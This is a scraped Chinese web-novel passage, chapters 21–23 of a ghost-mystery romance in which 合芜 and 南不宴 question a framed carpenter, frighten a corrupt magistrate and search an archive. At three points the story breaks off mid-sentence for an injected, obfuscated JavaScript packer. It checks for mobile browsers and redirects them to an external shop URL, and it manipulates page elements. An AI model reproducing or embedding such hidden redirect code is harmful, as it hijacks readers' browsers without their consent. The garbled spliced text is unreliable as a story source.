“咔咔!” 一声巨响棺盖被猛的顶开,一直手刷的伸了出来,扒住了棺沿。 “诈,诈尸啦!”合芜惊叫。 21. 嚼食月光的孩子(八) “出来!莫要故弄玄虚!”南不宴的剑已经出鞘,直指向打开的棺盖。 那只扒着棺沿的手划拉了两下,随后猛地一下,先是一个脑袋随后是上半身,最后整一个探出棺材。 那人呼哧呼哧扶着棺盖喘着粗气,一脸的汗,不像是妖鬼,此时面上正一副颇为满意的神情。 合芜看见这突然坐起来的人,喉咙咕噜两下,声调结巴道:“你你你,你是人是鬼啊?” 那人坐在棺材里,擦了一下额上的汗,棺盖和棺身严丝合缝的,隔音极好,他现在才听见屋子里还有其他人在讲话,回头一看,不知什么时候冒出来的剑锋就已指在他脖前。 南不宴将合芜护在身后。 那人面上惊恐慌张,往后一靠却又将后脑勺磕在棺盖上,哎呦一声。 “两位这是何意啊?我我我是人啊!”那人急忙解释,就怕再晚一秒自己的小命就保不住了。 “是人你躺在棺材里干什么,装神弄鬼的意欲何为!”合芜想在气势上夺回自己的主动权,南不宴见这人不似有危险,将手里的剑收回。 那人不好意思,挠挠脑袋:“我是这里的工匠叫阿福,这口棺材快完成了,就想着亲自检查一下棺椁的密封性,只有不透风、不渗水还要隔音的棺材才是口好棺材。我这才躺进棺材里,吓到二位真是对不住。” 没想到要找的人远在天边,近在眼前啊。 “你就是阿福?”合芜打量着他。 “对,我是阿福。”阿福憨憨道,“你们认识我?” 这三人隔着一口棺材说话的感觉着实奇怪,阿福便手脚并用,从棺材里爬了出来,他进棺材的时候天色还挺亮,一盏油灯便也够了,可现在只点着一盏油灯屋子便显得很昏暗,他将剩下的油灯全都点上,屋子里明显亮堂不少,方才那种阴森的感觉也没有了。 站在一边沉默不语的南不宴终于发话道:“我们今日来找你,实有要事相问,还请你如实相告。” 阿福一脸懵地点头,还请合芜和南不宴先在长凳上坐下。 这副毫无威胁的样子一点也不符合合芜一开始对阿福的幻想,她还以为阿福会是一个皮肤黝黑,状如牛,面色阴沉不善的人,可如今人见到了,壮是壮,但是看起来很老实,甚至有点傻气。 “请问两位贵人是?”阿福看着面前坐着的两人问道。 “我们是从京州来的,你唤我南公子便好,这位是合姑娘。我们途经济婴镇正巧碰上镇子里闹鬼的怪事,决定先留下探查出个真相再离开。”南不宴道。 合芜本想先糊弄一下来意,毕竟她看过的话本子里说过,做事留一线,却没想到南不宴一股脑把老底都快说完了,不解地肘击了他几下,压低声道:“你就这么都说了?” 南不宴用只有他们两人才能听到的声音道:“只不过是些表面消息,若他真在监视我们,这些他早就知道了,也没有必要藏。” 也对哦,合芜点头。 阿福看着他们窃窃私语咬耳朵的样子,有点尴尬。 “南公子所说闹鬼之事我有所耳闻,只是我不明白二位为何要来找我问此事,若是你们想了解这传闻,镇子上随便找一个孩童知道的都应该比我多些,我平日里就住在木庄里,不常去镇子上。”阿福道。 南不宴闻言也不轻信,只道:“我们来这不仅仅是想了解闹鬼之事的传言,你是个聪明人我们便也不跟你绕弯子,前些时日遇害的张家还剩有一子,唤张宝,你是否认得他?” 合芜见阿福的手紧了一下。 阿福道:“济婴堂的张宝……济婴堂的孩子有很多,我从前在那的时候经常陪那些孩子们玩来着,应该是有一个叫张宝的。” “应该不会吧。”南不宴不紧不慢,看着阿福的眼睛道,“你和张宝有这么生疏?” 阿福变得有些紧张。 合芜见机行事,追问道:“你今日是不是到张家小院去过?” 阿福闻此一言明显一愣,躲闪着目光不知道该说什么:“我……我今日一直待在木庄……” 合芜以迅雷不及掩耳之势抬手,一道白光从指尖飞出,嗖的一下绑住阿福的脚,将其抬了起来。 不出所料,那鞋底粘着已经干掉的泥块。 “说谎,你这鞋底明显是去过镇子上,木庄里的地上难免有木屑,就算是下过雨也不会这样粘上泥土。”合芜道。 阿福直愣愣的看着自己被抬起的脚,又看向合芜惊道:“你,你是人是鬼!” “我是鬼,怎么,怕了?”合芜站起身双手叉腰看着阿福,恐吓他,“怕了就乖乖说实话,不然我给你下咒啊。”说着还挥了挥自己的拳头。 阿福脸色一白,但没有吓到晕过去,只是不敢再说话。 南不宴就这样坐在长凳上,没有阻止合芜的虚张声势,对阿福开口道:“想必我们不是第一次见了,在张家小院我们应该已经见过一次,你是帮张宝去拿东西的。” 阿福盯着面前的两人,原先慌张的眉眼逐渐冷静下来,整个人像是换了一副性子,沉稳了许多。 “既然南公子已经开门见山,那我便也不再与二位周旋,今日我是去过镇子上,也确实去过张家的院子。”阿福道,“你们想的没错,我就是去帮张宝拿东西的,只不过当时你们就在屋子里,我没有拿到。” “想来我是没有机会再去张家院子了,二位若是可以,可否帮张宝拿一件东西?” “是他那个布偶吗?”合芜道。 阿福一愣:“你们知道?” “你放心,那个布偶现在已经在张宝手里了。”合芜将手收回,解开了施在阿福脚上的术法。 “那便好,多谢了。”阿福揉着自己的脚腕。 合芜拍拍手重新坐下:“说说吧,关于镇子里闹鬼的事情你知道多少?你可别说什么都不知道,让张宝装弱小的人是你吧,你想要做什么?张大和张小妞的死是不是和你有关?” “此事真的与我无关啊!”阿福闻言连忙摆手解释,“张家出事那晚我确实见到了张宝,只不过是他到河边打水的时候我们恰巧遇见的,之后就听到张家出事了。” “就这么简单?”合芜不信。 “其实……”阿福叹了口气,抬眼看了一眼合芜和南不宴,最后还是决定说出来,“其实一开始,我和张宝确实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对,对啊。”这回换阿福疑惑了,“你们不是知道我去了院子吗?” “你在树上,那窗户下的脚印是谁的?”合芜道,与南不宴对视了一眼。 阿福闻言道:“你们说窗户外面?不是曹巡抚府上的小厮吗,我看到他就在窗户外面守着啊,他难道不是曹巡抚派来跟你们一道的吗?” “啊?!”合芜的世界观在重塑,皱着眉看着南不宴,“这曹府老大竟然还派人监视我们?” “这事恐怕得回去再细谈。”南不宴没有多说。 “若是二位还有什么疑惑的地方尽管来福瑞木庄找我,还望二位尽心尽力,将这件闹鬼的案子查的清清楚楚,还我们济婴镇太平。”阿福最后拜谢过二人。 也不算事无功而返,合芜回去一路上都在胡思乱想,至少知道那曹府老大在背地里派人跟着他们。 合芜心里不由升起一个好主意,今晚就不错,今晚就让她去会会那曹巡抚。 22. 嚼食月光的孩子(九) “呼——” 一阵风吹过,将卧房里留下来照明的蜡烛吹灭了,屋子里瞬间暗淡下来,帷幔也被风吹得摇晃着。 被炭盆暖得热烘烘的卧房冷下来,原本睡在床榻上的曹巡抚动了动,终究是耐不住寒意,掀开被子骂骂咧咧起身。 曹巡抚将窗户关上,又坐回榻上,伸手正想去炭盆上暖暖。 “这炭盆怎么湿了?”曹巡抚睁大眼睛仔细瞧着,不敢相信,这炭盆方才明明还是燃着的。 “咯咯咯。” 小孩的笑声。 背后一阵发凉,曹巡抚瞬间清醒,左右张望一番,没有人。他感到口干舌燥,到桌边拿杯子倒了杯茶水,正打算喝,一低头却见茶杯水面上倒映着一张人脸。 曹巡抚刚张开嘴还没来得及喊出声,只觉得喉头一紧,再发不出半点声音。 他只能眼睁睁看着茶水里那张脸越来越大,最后一个身影迈着小步子,跳跃着站定在他面前。 是一个扎着双麻花的小女孩。 合芜没想好要装扮成一个什么样的鬼魂来吓曹巡抚,就幻化成了自己的缩小版,本来还想着这样子会不会吓不到他,但没想到效果竟然意外的好,许是自带鬼气,也或是那曹巡抚自己心里有鬼,这一个突然出现在这里的水灵灵的小女娃,在曹巡抚看来就如同索命阎王一般。 此刻曹巡抚惊恐的眼神就是最好的证明。 “咳咳咳!”合芜清清嗓子,双手一边一个拽着自己的麻花辫。 曹巡抚吓得一激灵,嘴巴却张不开,只能发出呜呜的声响。 “别挣扎,你现在说不出话的。”合芜笑嘻嘻道,“我乃地府鬼魂大人,现在我说什么你就回答什么,其他的废话我一句都不想听到,若是你还敢求救,那我便不会手软,直接一钩子给你钓到阎王殿,听明白了?”她的声音稚嫩,说的话却瘆人,出门在外身份都是自己给的。 曹巡抚连忙点头,腿下发软直接跪在了地上,他是真没想到啊,镇子上闹鬼,现在竟然真的闹到自己身上来了。 合芜松开了封口术。 “听说你们镇子上来了几个从京州来的人是吧,就是现在在你府上住着的那个漂亮姑娘,还有两个公子。”合芜道。 “是,是有两个公子还带着一个姑娘。”曹巡抚点头哈腰,都不敢看面前这个小女娃。 合芜不满他说话的语序,什么叫两个公子带着一个姑娘:“你听好了,他们三个人里那姑娘是老大,听明白了吗。” “听明白了!听明白了!” 合芜暗爽:“好了,话说回来。你让他们查镇子里闹鬼的案子?” “是,鬼魂大人!小的也是没有办法,那京州来的官大,小的本想着这闹鬼的事情能息事宁人最好,也不会打扰到大人你们不是?但是那些人他们偏要查啊,小的就是一个小小的镇官,拦不住啊!” 合芜:我哩个乖乖,这人连鬼的马屁都要拍。 “且不说这个,那我问你,你派人跟着他们了?” 曹巡抚立马道:“回鬼魂大人的话,小的自然是派人跟着他们了,就怕他们给您惹不快不是?” 那看来阿福没有说谎。 “真的?” “也……也是怕他们查出点什么其他事情来。”曹巡抚的声音很小,轻到合芜听不清。 “你说什么?” 曹巡抚不敢再说。 呦呵,合芜心里哼了一声,她就不信今天她吓不开他这张嘴! 她正打算将曹巡抚倒吊起来,好好审问,突然心窝子里一阵滚烫,合芜来不及吓唬曹巡抚,也来不及听他说什么,一个力量拽着她,整个人像是被抽离似的。 是她的命魂。 南不宴!你在拿那条腰带干什么! 合芜只来得及在离开前给曹巡抚下了个晕咒,下一秒就被那股力量带走,消失在屋子里。 屋子门窗紧闭,只剩下倒在地上呼呼大睡的曹巡抚。 * 好不容易一个晴朗的月圆夜,虽说冷是冷了些,但景致实在好。 屋子里闷热坐不住,南不宴踱步到院中。 枫树红彤彤的,府院里点着数不清的灯笼,将其映照的好看,天上挂着一个圆圆的金月,将夜色点缀。 南不宴坐到枫树下,曾几何时,他也与人一起赏过月亮。 指尖触到腰间的玉带,上头嵌着的玉石清润,南不宴觉得指尖痒痒的,那种痒意直往心里钻,渐渐由痒变得疼痛,难忍。 …… “哎,你说月亮上真的住着嫦娥吗?”崔禾坐在屋顶,手边是几个喝空了的酒壶。 身边的少年嗫嚅了几声,不知道该说什么,有些不好意思。 “你怎么不说话?”崔禾侧头看向南不宴,那目光毫不胆怯避讳,南不宴觉得那目光能望到他心深处。 他立马低下头:“应,应该有吧。” 心里砰砰跳,南不宴深呼吸几下,他光明正大追了崔禾快一月,闹得满京州都知道这惊才绝艳、风光无限,多少京州贵女的梦中少年武安侯心悦于那镖局女儿崔禾。 南不宴不知道自己今日是朝哪个方向上对香了,崔禾竟然差人邀他今晚一同赏月。 “今日邀我来,你——”南不宴语未完,崔禾向他这边倾身,惊得他心跳都快了一拍,跳得像是打鼓一般。 还没缓过神来,崔禾轻笑一声,坐回原位,手里拿着一壶没开封的酒,刚从他那侧偷携来的。 南不宴反应过来:“你不能再喝了,再喝就醉了!”说着就去夺。 崔禾眉头一挑,抬手躲过:“小侯爷带都带来了,反正你身上的箭伤还没好喝不了酒,浪费了岂不是可惜?” 这些酒是前几日南不宴御赐得到的江南好酒“醉春酿”,崔禾馋了好一阵子。 “那你今日邀我来,是有什么想和我说的?”南不宴紧张道。 崔禾把酒对月:“有的。” 南不宴心里一揪。 “我爹让我同你道个歉,就上次把小侯爷你从马上射下来那事。” 因为南不宴跟了她的镖一路,她那时又不识得他,自然把他当成了劫镖的山匪,谁让南不宴跟得无声无息,认错了也不能全怪她呀。 “没,没了?” 崔禾停顿一下,又道:“还有!” 南不宴沉下去的心立刻又升到嗓子眼。 “还有就是听说小侯爷你有醉春酿,你都不知道我馋这个有多久,这不是知道你受伤喝不了嘛……就……”崔禾谄媚着,眼睛亮晶晶。 南不宴一叹,他就知道。 可是崔禾那没心没肺的样子却也让他挪不开眼。 “小侯爷你也会叹气啊,我还以为你是这京州最狂的人了。”崔禾觉得新奇。 南不宴无可奈何,自己年少袭爵、文武双全的名声在她那怎么会传成这样,还能挽回吗。 “你别总小侯爷、小侯爷地叫我,听起来太过生疏,不是要道歉吗,我想要点诚意不过分吧?” “诚意?小侯爷要什么诚意?” “叫我慎之,这是我的字。” 醉春酿不烈,但胜在后劲绵长,崔禾喝得微微上脸,闻言摇头。 “不好听。” 她说完将酒壶搁下,背着手站起身,走在屋顶的瓦片上。 “小心。”南不宴伸手怕她摔着。 崔禾绕着南不宴踉踉跄跄转了小半圈,忽然停下来,认真的看着他的眼睛:“南不宴,字慎之,又是不许愉悦又是时刻谨慎的,这名字听着就累,我给你重新取一个字吧。” “既然你字慎之,那往后,在我这儿,你就叫……乐之!嘿嘿嘿。” 她说着,脸上荡漾着笑,蹲下身拿起方才搁下的那壶酒:“乐之,乐之,京州最狂的小侯爷就要天天快乐啊!” 南不宴抬头看着她眸色深深。 “那便……唤乐之。” …… 已经不知道是多久之前的事,连记忆里人的脸都开始模糊起来,只剩下她身上那副活泼自在的样子,让人难以忘却。 南不宴攥着玉带的手绷紧,出神间,没留意,拇指指腹在玉石的尖锐处划出了一道口子,鲜红色的血珠落在玉石上,立马被吸进玉带里。 南不宴见状愣了一瞬,没来得及多想,头顶忽然有什么东西砸了下来。 “哎呦!”那人叫道。 一个身影从天而降,不偏不倚正正好砸在南不宴身上,他一时没撑不住力,被砸得往后躺倒在草地上,等回过神来,胸口正趴着一个人,正手忙脚乱地撑着他的肩膀要爬起来。 “谁?” 那人抬起头。 月光透过枫叶的缝隙洒下来,斑斑驳驳地落在合芜脸上,由于突然被命魂传唤过来的缘故,合芜身上的术法已经失效,从缩小版变了回来。 “合,合芜?”南不宴皱眉喃喃道,“你怎么……” “我还要问你呢,你是不是捣鼓你那条腰带了?”合芜气不打一出来,这滑稽的出现方式也太没有风度了。 “我正吓唬那姓曹的起劲呢,就快要问出来他背后的秘密了,结果就在紧要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她见南不宴神情认真,算了,念在这些时日与他相处还不错,告诉他好了,这样也不必自己日日胆战心惊。 …… “竟是如此……” “所以你一定要保护好你这玉带,别再整幺蛾子了。”合芜认真叮嘱。 夜色已经很深,连月亮都快要消失在天际。 合芜打了个大大的哈气。 “好困,我要回去歇息了,你不回房吗?”合芜站起身,看着南不宴。 南不宴也看着她,他的眼神在那一瞬间有点变化,有难以置信,更有自嘲的意味。 “不了,我再坐会儿。”南不宴收回目光道。 好像。 精力这么旺盛?合芜心想。 “都堂大人,那我就先失陪啦。” 说完,她便转身,迎着剩下的月色消失在夜里,只剩下南不宴还坐在原地,眼神一直望着她消失的方向,许久都没有回过神来。 太像了,不论是她趴在自己身上仰头的那一瞬间,还是方才合芜站在他身侧低头的那一下。 不对,应是看错了。 * 合芜觉得自己才刚睡着。 事实上她也确实刚睡着,所以当她听到敲门声响起的时候,整个人是懵的。 “合芜!” 砰砰砰。 合芜把被子拉过头顶。 “合芜?出大事了!” 砰砰砰砰砰砰。 合芜又把枕头压在了被子上。 “合芜!” 冯原的声音慌里慌张的,一刻也不停。 这谁受的了啊,她就算是鬼也顶不住啊! 合芜腾得坐起身,头发乱糟糟的,眼睛还没睁开,眯着眼将门吱呀一声拉开。 “怎么了?”合芜困得不行。 冯原见她还没睡醒,却也管不了那么多了,急忙道:“巡检司那群人说抓到杀人真凶了,现在已经将人捉到巡检司正打算审呢!” 听到这个合芜可就来劲了,揉揉眼睛问道:“抓了谁啊?” “就是你昨日同不宴一起去找过的那个人,叫什么来着?”冯原一到关键时刻就掉链子。 “阿福?”合芜道,不会是他吧。 冯原眼睛一亮:“就是他!” “什么!?” 23. 嚼食月光的孩子(十) 来不及多想,合芜冲出屋子和冯原一起往巡检司赶,她急促道:“南不宴呢?你叫过他了吗?” “就是不宴让我来叫你的,他人现在已经在巡检司了。”冯原边走边道。 合芜闻言:“他怎么不自己来叫我?” “这我哪知道。”冯原愁眉不展,“我还想问你是不是和他吵架了,你都不知道今早他来叫我时的脸色有多古怪。” 两人快步穿过曹府,赶到那扇连通巡检司的小门,不多时便抵达了审堂,刚走进大门,就听到审堂里传来阿福的呼喊声。 合芜加快脚步冲进审堂,就见曹巡抚一副怒气冲冲的样子,坐在堂上,狂拍着桌子让堂下被压制着的阿福安静下来。 南不宴坐在主位旁的椅子上,面上表情冷静,周身的气压极低,正垂眸看着堂下,指尖轻轻叩着桌面,神色难辨。 曹巡抚拍完桌子,瞥了一眼坐在一旁的南不宴,见他面色不善,又紧张起来。这时他见合芜走进来,像是见到救星,连忙站起身道:“合姑娘来了,您看,我们已经抓到杀人凶手了!” 合芜一看到曹巡抚就想到昨晚恐吓他的事情,心里不免有些心虚,摸了摸鼻子。 合芜将目光落在堂下的阿福身上。 少年被铁链锁着,双手反绑在身后,身上的粗布衣裳还粘着些木屑,脸颊上还有几道浅浅的伤痕,显然是被抓时反抗所伤。 他头发凌乱,正仰着头,对着曹巡抚大声呼喊:“我没有杀人!我真的没有杀人!张家兄妹不是我杀的,那些死者也不是我杀的!” “胡搅蛮缠!”曹巡抚叫嚷着,胡子都在抖,“你说你没有杀人,那今早巡检的弓兵在木庄里,就在你的后院茅草堆下找到的这把带血的柴刀如何解释?” 话音刚落,一名弓兵拿着一个托盘走上前来,托盘上放着一把柴刀。柴刀刀刃锋利,刀身上还沾着暗红色的血迹,血迹已经干涸,却依旧触目惊心。 曹巡抚上前一步,指着柴刀,语气笃定:“你这把柴刀,刀身上的血迹,与张家兄妹及之前几名死者的伤口完全吻合!” “这不可能!” 阿福猛地挣扎起来,铁链发出“哗啦哗啦”的声响,他目眦欲裂大声喊道:“这把柴刀是我的,可我从来没有用它杀过人!血迹……血迹一定是有人故意沾上去的!是你们冤枉我,是你们陷害我!” “陷害你?”曹巡抚冷笑一声,语气带着几分嘲讽,“这柴刀是在你后院找到的,刀刃又与死者伤口吻合,铁证如山,你还想狡辩?我看你是不见棺材不落泪!” 刀刃与伤口痕迹吻合?合芜闻言不由一皱眉,之前陈仵作不是说伤口是由锋利但是偏软的刀具划伤而成吗,怎么看都不像是现在那托盘上放着的,能砍断粗木的柴刀。 合芜转头看向南不宴,正欲开口。 “陈先生。”南不宴看着站在审堂一边的陈仵作,那眼神带着探究,语气温和道,“这柴刀当真是凶器?” 不知道是不是她的错觉,合芜觉得南不宴有意在躲避她的视线。 陈仵作道:“回大人,是之前我推测凶器出了错误,如今看来,那些伤口实是这柴刀所为。” 南不宴眼神黯了黯,冷淡道:“那便将人带下去吧。” 听到他这话,合芜愣住。 合芜凑到南不宴身边,轻声问道:“南不宴,你不再查一下——” “将人带下去,关起来。”南不宴没有听她的话,又重复了一遍。 曹巡抚赶忙向下面的弓兵喊道:“听到没,大人吩咐将人带下去关起来,还不快照做!” 阿福看向合芜与南不宴的目光一点点熄灭。 他原以为他们与旁人不一样。 阿福停止了挣扎,头微微低着,头发遮住了他的脸庞,看不清神色,刚才还嘶哑的呼喊,此刻只剩下沉重的喘息。 弓兵们抓住他,正要将人拖下去。 阿福冷笑一声,嘶哑喊道:“等等!” 曹巡抚脸色一紧张,急忙道:“等什么等,快拖下去!” 合芜看不下去了,这地府审问都要问清楚前因后果,明辨是非,她第一次见人界的公堂,竟如此随意。 “你没听见他说等等吗?”合芜直接越过南不宴,走到曹巡抚身边道。 这回合芜也不过问南不宴的意思,总觉得他今日很难懂,也不知道自己何时得罪他了,明明昨晚都好好的。 曹巡抚背后一凉,昨晚的经历还让他心有余悸,那鬼魂大人说这合姑娘最大,他也不敢违逆她的意思。 “是是,合姑娘。”曹巡抚低声下气道,随后转向阿福,“大人们仁慈,让你多说几句,你有什么要说的,赶紧说了!” 阿福缓缓抬起头,眼底的红血丝清晰可见,泪水顺着脸颊滑落,滴在冰冷的地面上。 他没有再喊冤,也没有再辩解,只是目光缓缓扫过曹巡抚和堂内的其他人,最后落在了南不宴和合芜的身上。 合芜能感觉到,那眼神里有绝望,还有一丝隐晦的祈求。 阿福深吸一口气,声音沙哑而平静,带着一种破罐破摔的决绝:“人是我杀的,所有的死者,都是我杀的。” 这话一出,曹巡抚脸上立刻露出了得意的笑容,连忙道:“御史大人,合姑娘您看,他终于认罪了!铁证如山,这下可以定案了!” 合芜直接白了一眼曹巡抚。 阿福迎着合芜的目光,嘴唇动了动:“南公子,合姑娘,我就是闹鬼案的凶手,正如我昨日跟你们说的,但是这件事与张宝无关,与昔日济婴堂的人无关,还望你们照顾好张宝……我在此谢过了!” 说完,他对着南不宴和合芜磕了一个响头,最后狠狠瞪了一眼曹巡抚,便缓缓低下了头,闭上了眼睛,任由那些弓兵将他拖下去,关了起来。 合芜心底一沉,她看向南不宴,只见南不宴道:“曹巡抚,罪人虽认罪,但供词尚未核实,暂不定案,先将人收押,严加看管,不许任何人探视。” 曹巡抚脸上的笑容一僵,连忙道:“御史大人,这可是铁证如山啊,何必还要核实……” “曹巡抚的人真是勤勉,这一大早巡检的弓兵连镇子外的木庄都查到了,回去之后,我定要在圣上面前好好替巡抚说说好话。” 南不宴是笑着说的这番话,可这话却让曹巡抚吓得浑身一哆嗦,连忙躬身应道:“是,小的这就去办!” 说完,曹巡抚急急忙忙地跑出了审堂,慌张间还绊了下脚,差点摔个跟头。 等到人都退尽,堂内只剩下合芜他们三人。 冯原先开了口:“不宴,这阿福真是凶手?” 南不宴没有否认也没有点头。 合芜不太高兴:“没想到都堂大人办事如此雷厉风行,真让我大开眼界。” 南不宴身影肉眼可见的一僵,他对着冯原道:“曹巡抚急于定案,太过反常。阿福的认罪太过突然,他刚刚说的话里或有深意,那把柴刀也不一定就是凶器,还未定案,这几日先还是在曹府上住着,事情还有转机。” “那我们接下来怎么做?”合芜问道。 南不宴还是没有回头看她。 不是?他这是什么意思啊?合芜就这样看着南不宴的背影。 好啊,那就他查他的,看看最后谁先查清楚真相! 合芜大大哼了一声,头也不回地跑出了审堂。 南不宴见人出了审堂,才缓缓吐出一口气,放松下来。 冯原不解:“你们俩这是怎么了?” 南不宴有些尴尬地摇摇头,嗫嚅道:“冯原,你觉不觉得合芜有点像一个人?” “谁啊?”冯原睁大眼。 南不宴看他那样,和冯原说还不如不说,说了他说不定又要拿出他的金卦盘卜卦:“没有,你就当听错了。” 一定是他的错觉,应是最近同合芜待在一起的时间太久,隔开些距离说不定过些时日就好了。 * 曹府池塘边。 合芜踢着脚边的小石子,气鼓鼓地嘟囔个不停。 “真是莫名其妙!昨天不还一起查案吗,今天又摆着一张冷脸,什么左都御史,公正无私,我看翻脸比翻书还快!心比那忘川边上的石头还难猜!” 难道是昨晚上磕到他下巴生气了?可这不是脸上没有伤吗,真是小气。 合芜踢飞一颗石子,石子落入池中,泛起一圈圈涟漪,像她此刻乱糟糟的心情,明明只是为了任务才装模作样靠近他的,可他这忽冷忽热的态度,反倒让她有些气闷,却又说不出缘由,只觉得心里堵得慌。 正咒骂着,身后的草丛传出窸窸窣窣的声响。 合芜回头:“谁在那!” 一个人影从草丛里走了出来,是前几日她不小心撞到的那个阿婆。 阿婆神色急切,上前紧紧拉住合芜的衣袖,眼睛里满是慌张,另一只手死死指着一个方向,她的指尖不停颤抖,嘴里发出听不清的轻响。 合芜心头一紧,顺着她指的方向望去,是一间两层的屋子,看地界应该是在巡检司。 合芜眯起眼想看清那是什么地方,但可惜天色已经黑下来,实在看不清。 “那是什么地方?”合芜嘀咕着。 “……真……真相……”阿婆努力发出声音。 真相?! 合芜瞬间明白过来,阿婆是在告诉她,去那地方,有线索。 但是一个在曹府的聋哑婆子是怎么知道这么多的。 合芜连忙点头,轻声道谢:“我明白了!” 阿婆见她领会,脸上露出一丝释然,又慌张地四处张望了一番,松开她的衣袖,急匆匆地转身离去,身影很快消失在夜色里。 合芜望着阿婆的背影,心里满是疑惑,不明白她为何要冒险告诉她这些,可眼下寻找真相要紧,她压下疑虑,看了看天色,夜色已深,巡检司的守卫本来就不多,现在更是没有人可以拦得住她。 合芜三下两下摸到了那栋屋子边,她看了一眼,一层大门锁着,开不了。 想到这个就来气,要是她的命魂现在还完整,她直接就可以穿墙进去,用得着还要在这里想办法吗。 合芜闷闷叹气,窜到屋后,踏地跃到二层的窗边,她伸手拉了下窗户,窗户发出细微的响动,随后被她拉开了一条缝。 太好了!窗户开着! 合芜将窗户打开,一个闪身进了屋子。 她在屋里站定,左右张望,这里面很大,有一股浓重的草浆气味,屋内很黑,合芜只能勉强看出这里摆放着一排排的木架,木架上是一垒垒的卷轴和书册。 这里难道是放济婴镇镇志的地方? 合芜随便挑了一排书架,拿出一卷卷轴。 “西街李大爷砸了王记的水缸……东街卖猪肉的注水,已处理……” 这都是些什么,她看得这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320047|196672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费力,这卷轴里就不能记点有用的东西吗? 合芜又往里头走了走,换了一排书架,她看不清,胳膊不小心碰倒了一垒卷轴。 卷轴“哗啦”一声滚落,重重砸在地面上,打破了藏书室的寂静。 合芜正要弯腰去捡,身后却忽然传来一道熟悉的男声,带着几分猝不及防的惊讶:“你怎么在这里?” 合芜浑身一僵,猛地回头,便见南不宴站在一排书架后,手里端着一盏点燃的蜡烛,暖黄的烛火映着他清俊的眉眼,眼底满是诧异。 合芜心里也是一惊,她万万没想到南不宴会来这里,更没想到会在这种时候,这种地方撞上他。 想起白日里南不宴那莫名其妙的态度,合芜心里的火气瞬间又冒了上来,脸色一沉,懒得看他,转身弯腰捡起地上的卷轴,语气冷淡:“我来这里找东西,与你无关。” 说罢,便转身走向另一侧的书架,故意背对着他,指尖胡乱翻找着,心里还在憋着气,压根不想跟他有半分牵扯,省得等会儿听到的就是他让她回去的命令。 南不宴端着蜡烛走过来,看着合芜紧绷的背影,眼底掠过一丝无措。 白日里他态度确实不对,自己的心绪不宁不应该怪到合芜的头上,他后悔了。 但现在看合芜这样子,定是记了仇,这该要如何哄。 南不宴轻步走过去,声音放得柔和,试图解释:“白日里不是故意不理睬你,还有让他们将阿福先关押一事也是为了不打草惊蛇,这整个巡检司里人似乎都在掩饰真相,若是我执意阻拦曹巡抚关押阿福,倒是会让他们生疑。我来这里,是为了找三年前济婴堂火灾的卷轴,阿福被关押前还有昨日对话中皆有将线索指向三年前火灾的意思,或许这藏书室里会有记载。” 合芜翻卷轴的手一顿,却依旧没有回头,也没有应声,只是故意加快了翻找的速度,她就是咽不下那口气。 南不宴看着她油盐不进的样子,无奈地轻叹了口气,也不再多言,只是将手里的蜡烛放在一旁的长桌上,烛火跳跃着,将不大的桌面照得亮堂起来。 藏书室里漆黑一片,唯有这一盏烛火,合芜翻找了半晌,压根连卷轴上的字迹都看不清,心里愈发烦躁,却又无可奈何,她总不能摸黑找卷轴,那样只会事倍功半。 南不宴将她的窘迫看在眼里,不动声色地将蜡烛往桌边挪了挪,腾出一片空位。 “过来吧,这里有光,一起找,能快些。” 合芜咬了咬唇,犹豫了片刻,不情不愿地走到长桌旁,拉开椅子坐下,不过她依旧侧着脸,不和南不宴对视,自顾自地低头翻阅起来。 夜渐深,藏书室里愈发阴冷,合芜打了个寒颤,真是奇怪,之前都是感觉不到冷的,难道是在人界待得时间太久了? 合芜放下卷轴,伸手拢了拢身上的斗篷,将自己裹得严实了些。 那斗篷颜色艳丽,暗红色,是前日冯原送她的,一起带来的还有几件人界制式的新衣,说是见她带的衣物少,接下来的路程只会越来越冷,让她先备着。 合芜本想拒绝,但拒绝还要想理由,再加上那暗红色她实在喜欢得紧,就收下了。 南不宴余光瞥见她的动作,指尖微微一顿,装作漫不经心的样子,目光依旧落在卷轴上,声音平淡得像是随口一问:“你身上这斗篷,是曹府的人拿给你的?” 合芜低头看着卷轴上的字迹,闻言头也没抬道:“不是,是冯原给我的。” “冯原”二字入耳,南不宴的心瞬间一沉,心底有一股烦躁感悄悄翻涌。他强装镇定,只是握着卷轴的指尖,不自觉地收紧了些,连呼吸都轻了几分。 合芜丝毫没察觉到他的异样,只顾着低头翻阅卷轴,一行行查找着关于三年前济婴堂火灾的记载。 “这颜色不好看。”南不宴道。 “哼,总比你那黑绿黑绿的斗篷好看,你那墨绿色远远瞧着,就像是披着那膳房里的青菜叶子!”合芜毫不客气地回怼。 南不宴直接愣住,马上反击道:“那是,是没你身上这件好,你这件像极了坛子里泡的红尖椒!” “你!”合芜咬牙。 “哼!” 两人谁都不服谁。 …… 烛火暖黄,字迹繁杂,看了许久,倦意渐渐袭来,合芜的脑袋越来越沉,眼皮像灌了铅一样,不知不觉间,便趴在桌上,沉沉睡了过去,手里还攥着半卷未看完的卷轴。 南不宴侧头看去,便见合芜睡得正香,长长的睫毛垂落下来,脸颊因为困意,泛着几分淡淡的红晕,没了平日里的闹腾,也没了方才的赌气模样,显得格外顺眼。 